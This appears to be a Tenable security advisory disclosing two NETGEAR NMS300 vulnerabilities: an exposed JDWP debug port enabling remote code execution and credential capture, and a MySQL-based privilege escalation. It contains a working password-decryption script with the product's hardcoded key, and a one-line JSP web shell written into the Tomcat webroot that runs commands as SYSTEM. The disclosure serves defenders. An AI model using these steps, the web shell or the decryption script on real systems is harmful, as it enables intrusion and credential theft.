Tenable has found multiple vulnerabilities in NETGER ProSAFE Network Management System (NMS300) v1.7.0.26.
Java Debug Wire Protocol (JDWP) RCE (CVE-2023-49693)
NSM300 has JDWP enabled on port 11611 and it's remotely accessible:
PS C:\Program Files\NMS300> Get-ItemPropertyValue -Path 'HKLM:\SOFTWARE\WOW6432Node\Apache Software Foundation\Procrun 2.0\NMS300_Server\Parameters\Java\' -Name Options
-Dcatalina.base=C:\Program Files\NMS300\NMS300\apache-tomcat-6.0.33
-Dcatalina.home=C:\Program Files\NMS300\NMS300\apache-tomcat-6.0.33
-Djava.endorsed.dirs=C:\Program Files\NMS300\NMS300\apache-tomcat-6.0.33\endorsed
-Xdebug
-Xrunjdwp:transport=dt_socket,address=11611,server=y,suspend=n
-Djava.io.tmpdir=C:\Program Files\NMS300\NMS300\apache-tomcat-6.0.33\temp
-Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager
-Djava.util.logging.config.file=C:\Program Files\NMS300\NMS300\apache-tomcat-6.0.33\conf\logging.properties
A metasploit module (exploit/multi/misc/java_jdwp_debugger) exists to exploit the JDWP RCE.
In addition, an unauthenticated remote attacker can attach to the NMS300 server (via JDWP) to intercept user login requests to grab user credentials. For example, the attacker can break into com.elite.wifi.manager.dbservice.user.UserService.userLogin() and then com.elite.wifi.manager.utils.AESSaltEncryptUtil.decrypt() to learn about the admin password:
Breakpoint hit: "thread=http-8080-3", com.elite.wifi.manager.utils.AESSaltEncryptUtil.decrypt(), line=59 bci=0
Method arguments:
encry = "lxUCViqkXpl4/wZXIyKjxQ=="
password = "NMS300_Server_Secret"
salt = "HZksRpZl8YARoyIgT3U6UT4phw370HJrk3wuY+Q2G3CO12sWkGMtjyEZf0JXOokSucv8b2lC0oY+juyIduKU/lNvIdZHwPhMV930b4DuaXF5HUtEr5bupPpY6QeWi7QNcR5hU1SD2vdr1waMVgoiPPxickNlVstyn8blALtO8D6j/vaCupOAwhzDbzsl7UhSTJZ8hP995dYzYCymoMoBkjEa1Dj5JE/mZVxYaNh1SEZPwFAtUHD5kKUjYj2ERczqQ8jKT/UirQcktMoEcKSdS20g/DXL2gyGRcnF50747B97vCRAiGID6I6gxcu4Pei1wux3IQmUevUP8VUc1aB71g=="
Local variables:
http-8080-3[1] http-8080-3[1]
The encrypted password can then be decrypted with the following python script:
import sys, base64
from Crypto.Cipher import AES
from Crypto.Protocol.KDF import PBKDF2
from Crypto.Hash import SHA1
data = base64.b64decode(sys.argv[1])
salt= base64.b64decode(sys.argv[2])
pw = 'NMS300_Server_Secret'
if len(sys.argv) == 4: pw = sys.argv[3]
key = PBKDF2(pw.encode(), salt, 32, 1000, None, SHA1)
iv = 'NMS300_Server_IV'.encode()
cipher = AES.new(key, AES.MODE_CBC, iv=iv)
print('\n' + cipher.decrypt(data).decode())
Usage:
python3 nms300_decrypt.py <base64_encoded_encrypted_data> <base64_encoded_salt>
Example output:
python3 nms300_decypt.py "lxUCViqkXpl4/wZXIyKjxQ==" "HZksRpZl8YARoyIgT3U6UT4phw370HJrk3wuY+Q2G3CO12sWkGMtjyEZf0JXOokSucv8b2lC0oY+juyIduKU/lNvIdZHwPhMV930b4DuaXF5HUtEr5bupPpY6QeWi7QNcR5hU1SD2vdr1waMVgoiPPxickNlVstyn8blALtO8D6j/vaCupOAwhzDbzsl7UhSTJZ8hP995dYzYCymoMoBkjEa1Dj5JE/mZVxYaNh1SEZPwFAtUHD5kKUjYj2ERczqQ8jKT/UirQcktMoEcKSdS20g/DXL2gyGRcnF50747B97vCRAiGID6I6gxcu4Pei1wux3IQmUevUP8VUc1aB71g=="
AdminPass123
Privilege Escalation Via MySQL Server (CVE-2023-49694)
A low-privileged OS user with access to a Windows host where NMS300 is installed can create arbitrary JSP files in a Tomcat web application directory. The user can then execute the JSP files under the security context of SYSTEM.
PoC:
PS C:\Program Files\NMS300\NMS300\MySQL Server 5.5\bin> whoami /groups
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
====================================== ================ ============ ==================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Desktop Users Alias S-1-5-32-555 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\REMOTE INTERACTIVE LOGON Well-known group S-1-5-14 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\INTERACTIVE Well-known group S-1-5-4 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Local account Well-known group S-1-5-113 Mandatory group, Enabled by default, Enabled group
LOCAL Well-known group S-1-2-0 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level Label S-1-16-8192
PS C:\Program Files\NMS300\NMS300\MySQL Server 5.5\bin>
PS C:\Program Files\NMS300\NMS300\MySQL Server 5.5\bin> .\mysql.exe -h localhost -P 3311 -u root --password=root -D nms300_db
[...]
mysql> select '<%@ page import="java.io.*" %> <% Process p = Runtime.getRuntime().exec("cmd.exe /C " + request.getParameterValues("c")[0]); BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));String s; while((s = br.readLine()) != null) out.println(s); %>' INTO DUMPFILE 'C:\\Program Files\\NMS300\\NMS300\\apache-tomcat-6.0.33\\webapps\\ROOT\\cmd.jsp';
Query OK, 1 row affected (0.00 sec)
mysql> quit
Bye
PS C:\Program Files\NMS300\NMS300\MySQL Server 5.5\bin> Invoke-WebRequest -UseBasicParsing -Uri http://localhost:8080/cmd.jsp?c=whoami | select -ExpandProperty Content
nt authority\system
PS C:\Program Files\NMS300\NMS300\MySQL Server 5.5\bin>